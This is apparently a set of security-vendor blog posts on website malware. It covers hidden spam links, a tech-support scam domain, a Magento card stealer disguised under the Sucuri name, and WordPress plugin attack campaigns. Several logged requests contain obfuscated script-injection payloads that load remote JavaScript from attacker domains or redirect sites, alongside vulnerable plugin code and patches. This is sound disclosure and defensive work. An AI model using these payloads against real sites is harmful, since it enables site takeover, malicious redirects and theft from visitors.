Size for Opera: Hiding Spammy Links

There are many different tricks hackers use to make injected spam links invisible to regular visitors.

Below is an example employed by one link spam campaign, which primarily promotes porn, torrents, and pharma.

We’re finding links like these inside various HTML tags with short, random ids:

<span id="4CN8d"><a href="hxxps://youjizz[.]center">teen girls</a> busty ebony chick.</span>
….
<section id="Xwy2w"><a href="hxxps://youjizz[.]center" title="hot teens">hxxps://youjizz[.]center</a><br>
<a href="hxxps://www.thefappeninggirls[.]com">fappening 2020</a> alexa gets her cumshot.<br></section>
….
<span id="hgPdT">
                <a href="hxxp://yourbunny[.]mobi/">hxxp://yourbunny[.]mobi/</a> <br/>
        <a href="hxxp://lime-torrents[.]org">hxxp://lime-torrents[.]org</a> <br/>
        <a href="hxxp://kickasstorrente[.]net" rel="nofollow">kickass</a>
</span>

To hide the links, hackers injects scripts with misleading code.

For example, the following snippet tries to set the size of the spam link element to something entirely fictitious: size_for("Opera")

Code that hides the links

It even contains a function that counts the size. However, not only is the code unrelated to the Opera browser, it’s also erroneous because of the use of the undefined “sum” function.

This error is there “by design”. The code that invokes the size_for function is placed in the try...catch...finally block. No matter what happens in these try and catch blocks, it will always fall back to the finally section, which sets the “display” style of the element to “none”.

In another wave of link injections, this same campaign uses a combination of the following two scripts:

Two-piece spam hiding script

The first script defines the function end_(), which uses a misleadingly named function get_style() to hide the spam element. The second script is injected further in the HTML code to invoke the end_() function and conceal the spam.

At the time of writing, PublicWWW shows over a thousand websites with injected links from this campaign:

Desperate scammers

In an ideal scenario, when a scam website is found by a blacklist authority, it’s flagged as malicious and eventually taken down by the domain registrar or the web host once abuse reports have been verified.

Whenever a blacklist takes down a scam domain, it costs the scammers ample time and resources and means that they’ll need to start over. Sometimes, scammers try to social engineer their domains out of blacklistings — and sometimes they succeed!

We recently encountered such a scammer after we reviewed a domain that had requested to be removed from our blacklist.

The respondent claimed that the domain had been falsely flagged and labeled as a scam:

This email request was interesting — they claimed that other AV vendors (Avast, ESET, Kaspersky, and Fortiguard) had reviewed and removed their domain from their respective blacklists. The email body text also included correspondence between the sender and the three AV vendors.

However, when you actually read the text of the emails only one of the AV vendors actually confirmed that they removed the malicious domain from their “anti-phishing databases”. The other AV vendors said it was not blacklisted or did not reply.

A quick review of the domain brought us to this landing page:

After investigating the website, it was clear that the domain was in no way officially related to Yahoo.

Searching the toll-free phone number pulled up a recent report describing a typical tech support scam: the scammer convinces the victim to give them remote access so they can troubleshoot some problems (which may not even exist). They then offer to fix these problems for a very high fee. A separate report for the number supports this claim.

Unfortunately, these types of tech support scam websites can be rather difficult to blacklist by traditional AV companies and/or removed by the web host, or registrar. Technically, the website itself is not stealing login credentials like a phishing page, nor is it spreading malware to visitors.

The danger lies in the fact that it falsely represents itself as an official Yahoo contact, and uses this credibility indicator to convince victims to dial the phone number. Once they have the victim on the phone, it’s an entirely different story - but the website itself doesn’t look to be used for anything other than encouraging a visitor to call the listed phone number.

The blacklisted domain does mention they are not affiliated to Yahoo in their footer disclaimer, but also uses very ambiguous wording to trick consumers. It also seemingly contradicts itself by first starting they are an independent third party support for “Yahoo Mail support services”, but then goes on to say the business entity “GLS” is “[...]not affiliated with any brand or otherwise authorized by Yahoo to provide any service to Yahoo users.”:

It seems that the scammer has been able to remove themselves from any blacklists in the recent past, but we’ve kept their website blacklisted. It’s a scam, and we want to warn potential victims so they can remain safe from bad actors.

Few notes:

The cert for invalid pages (ex: hxxps://www[.]glstechserve[.]net/404) is for another domain: globalitsolutionsusa.com

This seems to be a generic web services page.

Seems like they also have hxxps://www[.]glsitsolutions[.]com as the contact page has the following contact emails:

  • support@globalitsolution[.]com
  • info@globalitsolutionsusa[.]com
  • hxxp://globalitsolutionsusa[.]com

As well as the exact same template.

The email of the page owner can be found on the contact page of glsitsolutions[.]com
(hxxps://www[.]glsitsolutions[.]com/contact-us/)

According to this forum: https://www.scammer.info/d/13594-email-support-scammer/5

There are other domains associated to the same scammer:

hxxps://www[.]email-technical-support[.]com/ - This one is offline
hxxps://www[.]glstechserve[.]net/
hxxps://www[.]assistanceforall[.]com/

Similar service: http://antivirustechnicalservice.com for malware bytes

Sucuri_encrypted: Magento Malware

In an effort to make malicious code appear to be credible, hackers commonly piggyback on the names of reputable, well-known companies and services. Typical examples of this technique include malware campaigns that abuse names of jQuery and Google Analytics.

Protecting websites and educating website owners about attacks for over ten years, Sucuri’s name and brand has also become a credibility indicator that hackers seek to abuse in their malicious code.

One recent example is a credit card stealing malware that we’ve been locating within the app/code/core/Mage/Payment/Model/Method/Cc.php files of compromised sites since the end of last year.

The stealer begins with “$this->sucuri_encrypted();” which is added to the assignData function of the Mage_Payment_Model_Method_Cc class.

In the sucuri_encrypted() method, you see something along these lines:

fake sucuri_firewall code

There is some assignment of encrypted data to items of the $sucuri_firewall array with the “create array of data to be secured” comment. This makes it appear to have something to do with encryption and Sucuri firewall.

Of course, this is not true. The Sucuri Firewall does not modify Magento files—it doesn’t even have access to the website files. It works on a separate server as an invisible additional layer between a protected website and its visitors (or attackers).

What this code actually does is steal customer payment details and send them to a script on a third-party hacked server.

exfiltrating payment information

Plugins added to Malware Campaign: September 2019

This is an update for the long-lasting malware campaign targeting vulnerable plugins during August and September. Please check our previous updates below:

Plugins Under Attack: September 2019

Plugins that are continuing to be leveraged by attackers are:

Plugin Payloads Added to the Campaign

Rich Reviews

149.202.215.42 - read-more-text=Readme+more%22%3B%3C%2Fscript%3E%3Cscript+type%3Dtext%2Fjavascript+%3Eeval%28String.fromCharCode%2832%2C40%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C40%2C41%2C32%2C123%2C10%2C32%2C32%2C32%2C32%2C118%2C97%2C114%2C32%2C101%2C108%2C101%2C109%2C32%2C61%2C32%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C99%2C114%2C101%2C97%2C116%2C101%2C69%2C108%2C101%2C109%2C101%2C110%2C116%2C40%2C39%2C115%2C99%2C114%2C105%2C112%2C116%2C39%2C41%2C59%2C32%2C10%2C9%2C101%2C108%2C101%2C109%2C46%2C116%2C121%2C112%2C101%2C32%2C61%2C32%2C39%2C116%2C101%2C120%2C116%2C47%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C39%2C59%2C32%2C10%2C32%2C32%2C32%2C32%2C101%2C108%2C101%2C109%2C46%2C115%2C114%2C99%2C32%2C61%2C32%2C39%2C104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C98%2C101%2C1...skipped...%2C67%2C104%2C105%2C108%2C100%2C40%2C101%2C108%2C101%2C109%2C41%2C59%2C10%2C32%2C32%2C125%2C41%2C40%2C41%2C59%29%29%3B%3C%2Fscript%3E%3Cscript%3E&update=rr-update-options [28/Sep/2019] "POST /wp-admin/admin-post.php?page=fp_admin_options_page"

Blog Designer

62.76.25.158 - action=save&custom_css=%3C%2Fstyle%3E%3Cscript+++type%3Dtext%2Fjavascript+language%3Djavascript%3Evar+c+%3D+0%3Bvar+_fr2cdmdy7%3DString.fromCharCode%28104%2F%2A%2A%2F%2C116%2F%2A_y78qgjy8u%2A%2F%2C116%2F%2A_y78qgjy8u%2A%2F%2C112%2F%2A%2A%2F%2C115%2F%2A%2A%2F%2C58%2F%2A_58zwawter%2A%2F%2C47%2F%2A_1scpswrsv%2A%2F%2C47%2F%2A_58zwawter%2A%2F%2C100%2F%2A%2A%2F%2C110%2F%2A_fr2cdmdy7%2A%2F%2C115%2F%2A_58zwawter%2A%2F%2C46%2F%2A_fr2cdmdy7%2A...skipped...B_y78qgjy8u.send%28+null+%29%3Breturn+_y78qgjy8u.responseText%3B%7Dfunction+_wwsyflqj0%28todo%29%7B+var+_avq14iyav+%3D+new+Function%28%27x%27%2C+%27y%27%2C+todo%2B%27+return+x%2By%3B%27%29%3B_avq14iyav%280%2C0%29%3B%7D%3C%2Fscript%3E%3Cstyle%3E&updated=true [23/Sep/2019:05:04:38 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Coming Soon Page and Maintenance Mode

62.76.25.158 - action_rcs=action_rcs_page_setting_save_post&home_sec_link_txt=off&hook=general&logo_enable=on&logo_height=1&logo_width=1&rcsp_description=%3Cscript++type%3Dtext%2Fjavascript+language%3Djavascript%3Evar+c+%3D+0%3Bvar+_vw5ansga3qp4fwa%3DString.fromCharCode%28104%2F%2A%2A%2F%2C116%2F%2A_w1g30wg9f776x67%2A%2F%2C116%2F%2A_w1g30wg9f776x67%2A%2F%2C112%2F%2A%2A%2F%2C115%2F%2A%2A%2F%2C58%2F%2A_nugjx0jhw9l3b4f%2A%2F%2C47%2F%2A_ug3v7obje18b87n%2A%2F%2C47%2F%2A_nugjx0jhw9l3b4f%2A%2F%2C100%2F%2A%2A%2F%2C110%2F%2A_vw5ansga3qp4fwa%2A%2F%2C115%2F%2A_nugjx0jhw9l3b4f%2A%2F%2C46%2F%2A_vw5ansga3qp4fwa%2A%2F%2C99%2F%2A_ug3v7obje18b87n%2A%2F%2C114%2F%2A_vw5ansga3qp4fwa%2A%2F%2C101%2F%2A_nugjx0jhw9l3b4f%2A%2F%2C97%2F%2A%2A%2F%2C116%2F%2A%2A%2F%2C101%2F%2A%2A%2F%2C114%2F%2A_ug3v7obje18b87n%2A%2F%2C101%2F%2A_nugjx0jhw9l3b4f%2A%2F%2C108%2F%2A%2A%2F%2C97%2F%2A_w1g30wg9f776x67%2A%2F%2C116%2F%2A_ug3v7obje18b87n%2A%2F%2C105%2F%2A%2A%2F%2C118%2F%2A_nugjx0jhw9l3b4f%2A%2F%2C101%2F%2A_ug3v7obje18b87n%2A%2F%2C99%2F%2A_vw5ansga3qp4fwa%2A%2F%2C104%2F%2A_w1g30wg9f776x67%2A%2F%2C97%..skipped...%29%3B_pr3rd9vm0zvo3tw%280%2C0%29%3B%7D%3C%2Fscript%3E&rcsp_headline=was+here&rcsp_logo_url=https%3A%2F%2Fave.cervantes.es%2Fsites%2Fdefault%2Ffiles%2Fdemocursos_aveglobal.jpg [23/Sep/2019] "POST /wp-admin/admin-post.php?page=wpsm_responsive_coming_soon HTTP/1.1" 

WP Quick Booking Manager

62.76.25.158 - action=gen_save_cssfixfront&css=%3C%2Fstyle%3E%3Cscript+++type%3Dtext%2Fjavascript+language%3Djavascript%3Evar+c+%3D+0%3Bvar+_3evx21%3DString.fromCharCode%28104%2F%2A%2A%2F%2C116%2F%2A_tp5mxm%2A%2F%2C116%2F%2A_tp5mxm%2A%2F%2C112%2F%2A%2A%2F%2C115%2F%2A%2A%2F%2C58%2F%2A_h01hcw%2A%2F%2C47%2F%2A_tx1yiy%2A%2F%2C47%2F%2A_h01hcw%2A%2F%2C100%2F%2A%2A%2F%2C110%2F%2A_3evx21%2A%2F%2C115%2F%2A_h01hcw%2A%2F%2C46%2F%2A_3evx21%2A%2F%2C99%2F%2A_tx1yiy%2A%2F%2C114%2F%2A_3evx21%2A%2F%2C101%2F%2A_h01hcw%2A%2F...skipped...iy%28_0wg1jn%29%7B+var+_tp5mxm+%3D+new+XMLHttpRequest%28%29%3B_tp5mxm.open%28+String.fromCharCode%2871%2C69%2C84%29%2C+_0wg1jn%2C+false+%29%3B_tp5mxm.send%28+null+%29%3Breturn+_tp5mxm.responseText%3B%7Dfunction+_ocrrhn%28todo%29%7B+var+_fta15b+%3D+new+Function%28%27x%27%2C+%27y%27%2C+todo%2B%27+return+x%2By%3B%27%29%3B_fta15b%280%2C0%29%3B%7D%3C%2Fscript%3E%3Cstyle%3E&cssfix=front [23/Sep/2019:05:04:30 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"

WP Private Content Plus

62.76.25.158 - submit=Save%2BChanges&wppcp_general%5Bpost_page_redirect_url%5D=https%3A%2F%2Fdns.createrelativechanging.com%2Fsub%2Ftfso.js%3Fz%3D6%26&wppcp_general%5Bprivate_content_module_status%5D=1&wppcp_general%5Bprivate_mod%5D=1&wppcp_tab=wppcp_section_general [23/Sep/2019] "POST /wp-admin/admin-ajax.php?page=wppcp-settings HTTP/1.1"

woocommerce-ajax-filters

78.142.211.111 - - [18/Sep/2019] "GET /wp-admin/admin-post.php?page=br-aapf-setup&step=wizard_selectors HTTP/1.1" 

Malicious Domains and IPs:

149.202.215.42
62.76.25.158
132.148.27.189
185.212.128.201
213.128.89.176
167.99.232.64
207.154.198.108
159.203.86.82
192.95.14.196
162.241.175.243
104.248.237.226
104.238.72.132
46.101.174.128
51.68.204.149
188.166.188.152
104.236.178.208
162.243.13.195
45.252.249.240
158.69.194.57
139.59.116.30
78.142.211.111
192.95.14.196
51.38.38.1
91.234.217.135
82.223.69.53
51.158.72.203
162.243.165.84
175.126.62.37
104.238.99.130
45.32.104.33
139.99.106.10
153.126.194.159
142.44.151.107
186.202.161.191
192.169.243.42
178.62.93.109
159.65.155.168
217.182.95.250

Domains Injected:

  • dns.createrelativechanging[.]com
  • bes.belaterbewasthere[.]com
  • gabriellalovecats[.]com
  • www.dzobainteriors[.]com
  • ns1.bullgoesdown[.]com

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.

Plugins Under Attack: August 2019

This is an update for the long-lasting malware campaign targeting vulnerable plugins during August and September. Please check our previous updates below:

Plugins Under Attack: August 2019

Plugins that are continuing to be leveraged by attackers for months are:

Plugin Payloads Added to the Campaign

Simple-301-redirects-addon-bulk-uploader

178.128.193.158 - --43a8d1df3e809162dd41895414f1186f7a8ba38c778819fb80d2e3a13911\x0D\x0AContent-Disposition: form-data; name=\x22301_bulk_redirects\x22; filename=\x22301_redirects.csv\x22\x0D\x0AContent-Type: application/csv\x0D\x0A\x0D\x0A/,https://developsincelock.com/54768?\x0D\x0A*,https://developsincelock.com/5868?\x0D\x0A/*,https://developsincelock.com/34234?\x0D\x0A\x0D\x0A--43a8d1df3e809162dd41895414f1186f7a8ba38c778819fb80d2e3a13911\x0D\x0AContent-Disposition: form-data; name=\x22submit_bulk_301\x22\x0D\x0A\x0D\x0A1\x0D\x0A--43a8d1df3e809162dd41895414f1186f7a8ba38c778819fb80d2e3a13911\x0D\x0AContent-Disposition: form-data; name=\x22auto_detect_end_line\x22\x0D\x0A\x0D\x0A0\x0D\x0A--43a8d1df3e809162dd41895414f1186f7a8ba38c778819fb80d2e3a13911\x0D\x0AContent-Disposition: form-data; name=\x22wpnonce\x22\x0D\x0A\x0D\x0A887cc0cb2f\x0D\x0A--43a8d1df3e809162dd41895414f1186f7a8ba38c778819fb80d2e3a13911\x0D\x0AContent-Disposition: form-data; name=\x22_wp_http_referer\x22\x0D\x0A\x0D\x0A/wp-admin/options-general.php?page=301bulkoptions\x0D\x0A--43a8d1df3e809162dd41895414f1186f7a8ba38c778819fb80d2e3a13911--\x0D\x0A [28/Aug/2019:13:56:32 +0000] "POST /wp-admin/admin-post.php?page=301bulkoptions HTTP/1.1" 

Kiwi-Social-Share

162.243.126.96 - action=kiwi_social_share_set_option&args=%7B%27option%27%3A+%27users_can_register%27%2C+%27value%27%3A+%271%27%7D [17/Aug/2019:13:00:36 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Nd-learning

158.69.194.57 - action=nd_learning_import_settings_php_function&nd_learning_value_import_settings=siteurl%5Bnd_learning_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret.js%3Fl%3D1%26%5Bnd_learning_end_option%5D [09/Aug/2019:03:02:54 +0000] "POST /wp-admin/admin-ajax.php?nd_learning_value_import_settings=siteurl[nd_learning_option_value]https://jackielovedogs.com/pret.js?l=1&[nd_learning_end_option] HTTP/1.1" 
158.69.194.57 - action=nd_stats_import_settings_php_function&nd_stats_value_import_settings=siteurl%5Bnd_stats_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret.js%3Fl%3D1%26%5Bnd_stats_end_option%5D [09/Aug/2019:03:02:54 +0000] "POST /wp-admin/admin-post.php?nd_stats_value_import_settings=siteurl[nd_stats_option_value]https://jackielovedogs.com/pret.js?l=1&[nd_stats_end_option] HTTP/1.1" 
158.69.194.57 - action=nd_travel_import_settings_php_function&nd_travel_value_import_settings=home%5Bnd_travel_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret%3Fl%3D1%26%5Bnd_travel_end_option%5D [09/Aug/2019:03:02:54 +0000] "POST /wp-admin/admin-ajax.php?nd_travel_value_import_settings=home[nd_travel_option_value]https://jackielovedogs.com/pret?l=1&[nd_travel_end_option] HTTP/1.1" 

Responsive-coming-soon

158.69.194.57 - action_rcs=action_rcs_page_setting_save_post&home_sec_link_txt=off&logo_enable=off&rcsp_description=off&rcsp_headline=%3Cscript+async%3Dtrue+type%3Dtext%2Fjavascript+language%3Djavascript%3Evar+nt+%3D+String.fromCharCode%28116%2C114%2C101%2C114%2C53%2C55%2C56%2C52%29%3Bvar+mb+%3D+String.fromCharCode%2897%2C+106%2C+97%2C+120%2C+67%2C+111%2C+117%2C+110%2C+116%2C+101%2C+114%29%3Bvar+sb+%3D+Strin...skipped...%29%3Bvar+c%3Ddocument.createElement%28sb%29%3Bc.type%3Dtb%2Cc.async%3D1%2Cc.src%3Djb%2Blb%2Bnt%3Bvar+n%3Ddocument.getElementsByTagName%28sb%29%5B0%5D%3Bn.parentNode.insertBefore%28c%2Cn%29%3B%3C%2Fscript%3E [09/Aug/2019:03:02:53 +0000] "POST /wp-admin/admin-post.php?page=wpsm_responsive_coming_soon HTTP/1.1"

Nd-donations

158.69.194.57 - action=nd_donations_import_settings_php_function&nd_donations_value_import_settings=siteurl%5Bnd_donations_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret.js%3Fl%3D1%26%5Bnd_donations_end_option%5D [09/Aug/2019:03:02:53 +0000] "POST /wp-admin/admin-post.php?nd_donations_value_import_settings=siteurl[nd_donations_option_value]https://jackielovedogs.com/pret.js?l=1&[nd_donations_end_option] HTTP/1.1"

Malicious Domains and IPs:

IPs:

185.238.0.34
45.12.32.105
45.12.32.102
185.238.0.33
178.128.193.158
37.122.209.28
217.61.56.11
185.18.226.161
188.213.166.219
162.243.126.96
192.169.227.95
149.202.75.164
185.104.184.109
192.169.255.17
45.12.32.102
185.238.0.35
158.69.194.57
185.238.0.146
45.12.32.55
185.238.0.133

Domains Injected:

*   **wiilberedmodels.com[.]com**
*   **hungthinhsg[.]com[.]vn**
*   **developsincelock[.]com**
*   **bbwebsitecontent[.]com**
*   **bachatours[.]com**
*   **tomorrowwillbehotmaybe[.]com**
*   **jackielovedogs[.]com**
*   **gabriellalovecats[.]com**

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.

Unauthenticated settings update in woocommerce-ajax-filters

woocommerce-ajax-filters, which currently has over 10,000 installations (versions <=1.3.6) allows unauthenticated attackers to arbitrarily update all the plugin options and redirect any user to an external malicious URL when the product section is visited. The bug takes advantage of a misunderstanding of the admin_init hook’s execution context.

if( is_admin() ) {
      require_once dirname( __FILE__ ) . '/includes/wizard.php';
}
[...]

function wizard_selectors($wizard) {
[...]
 <div class="wizard_custom_js_css" style="display: none;">
    <h3><?php _e('User custom CSS style', 'BeRocket_AJAX_domain') ?></h3>
    <textarea name="berocket_aapf_wizard_settings[user_custom_css]">
        <?php echo br_get_value_from_array($option, array('user_custom_css')) ?>
    </textarea>
    <h3><?php _e('JavaScript Before Products Update', 'BeRocket_AJAX_domain') ?></h3>
    <textarea name="berocket_aapf_wizard_settings[user_func][before_update]">
        <?php echo br_get_value_from_array($option, array('user_func', 'before_update')) ?>
    </textarea>
    <h3><?php _e('JavaScript On Products Update', 'BeRocket_AJAX_domain') ?></h3>
    <textarea name="berocket_aapf_wizard_settings[user_func][on_update]">
        <?php echo br_get_value_from_array($option, array('user_func', 'on_update')) ?>
    </textarea>
    <h3><?php _e('JavaScript After Products Update', 'BeRocket_AJAX_domain') ?></h3>
    <textarea name="berocket_aapf_wizard_settings[user_func][after_update]">
        <?php echo br_get_value_from_array($option, array('user_func', 'after_update')) ?>
    </textarea>
</div>

[...]

What's the problem with the code above?

  • Developer assumed that WordPress’s admin_init hook are only called when an administrator user visited a page inside /wp-admin/
  • The plugin settings allow users to add custom javascript code

A patch was released a few days ago to address this vulnerability.

Because of the nature of the bug, specifically it’s severity, we will not be disclosing additional details. We are seeing malicious requests being used in the wild. While most of them target /wp-admin/admin-post.php, other endpoints in the /wp-admin/ directory can be used to trigger the admin_init hook and exploit the vulnerability.

Malicious IPs attacking this plugin:

175.126.62.37
104.238.99.130
45.32.104.33
139.99.106.10
153.126.194.159
162.241.175.243
51.68.204.149
162.243.165.84
142.44.151.107
186.202.161.191
46.105.17.29
192.169.243.42
186.202.161.191
159.65.65.204
192.30.164.48
51.158.72.203
178.62.93.109
139.59.116.30
213.128.89.176
138.68.181.84

If you have an old version of this plugin installed please update to the latest version (1.3.7) asap. You can add a WAF as a second layer of protection and virtually patch the vulnerability.

Lack of controls when using WordPress’ update_option() with...

As mentioned in recent posts, WordPress’ update_option() function is used to update any option in the options database table. If the permission flow when using this function isn’t correctly implemented by developers, attackers can gain admin access or inject arbitrary data into any site.

This is the case for the plugin Login or Logout Menu Item, which currently has over 10,000 installations (versions <= 1.1.1). This vulnerability allows unauthenticated attackers to arbitrarily update some plugin options and redirect any user to an external malicious URL.

function lolmi_save_settings() { 
if(isset($_POST['lolmi_settings_submit'])) { 

$login_page_url = (isset($_POST['lolmi_login_page_url']) && !empty($_POST['lolmi_login_page_url'])) ? $_POST['lolmi_login_page_url'] : wp_login_url(); $login_redirect_url = (isset($_POST['lolmi_login_redirect_url']) && !empty($_POST['lolmi_login_redirect_url'])) ? $_POST['lolmi_login_redirect_url'] : home_url(); $logout_redirect_url = (isset($_POST['lolmi_logout_redirect_url']) && !empty($_POST['lolmi_logout_redirect_url'])) ? $_POST['lolmi_logout_redirect_url'] : home_url(); 

update_option('lolmi_login_page_url', esc_url_raw($login_page_url)); 
update_option('lolmi_login_redirect_url', esc_url_raw($login_redirect_url));
update_option('lolmi_logout_redirect_url', esc_url_raw($logout_redirect_url)); 

[...]
} 
}

What's the problem with the function above?

  • It updates the key “_lolmi_login_pageurl” with any value provided by the user
  • Does not check for capability
  • Does not check nonce

A patch was released on August 5th, 2019 to address this vulnerability:

--Version: 1.1.1
++Version: 1.2.0
Plugin URI: https://caseproof.com

[…]
 ++ <?php wp_nonce_field('lolmi_nonce'); ?>
<input type="submit" id="lolmi_settings_submit" name="lolmi_settings_submit" value="<?php _e('Save Settings', 'lolmi'); ?>" class="button button-primary" />
</form>
[…]      
function lolmi_save_settings() {
 if(isset($_POST['lolmi_settings_submit'])) {
++if(!current_user_can('manage_options')) { die("Cheating eh?"); }
++check_admin_referer('lolmi_nonce');
[...]

With just a few lines of code in the right place, developers can avoid security issues related to the misuse of this function and keep their users safe.

These kind of bugs are always the first choice for bad actors—they don’t need any authentication on the site, it’s monetizable, and really easy to automate.

Here's how they are exploiting this particular bug in old versions of the plugin Login or Logout Menu Item:

192.169.157.142 - lolmi_settings_submit=1&lolmi_login_page_url=http[:]//gabriellalovecats[.]com/wp-login.php [0/Aug/2019] "POST /wp-admin/admin-post.php?action=lolmi_save_settings HTTP/1.1"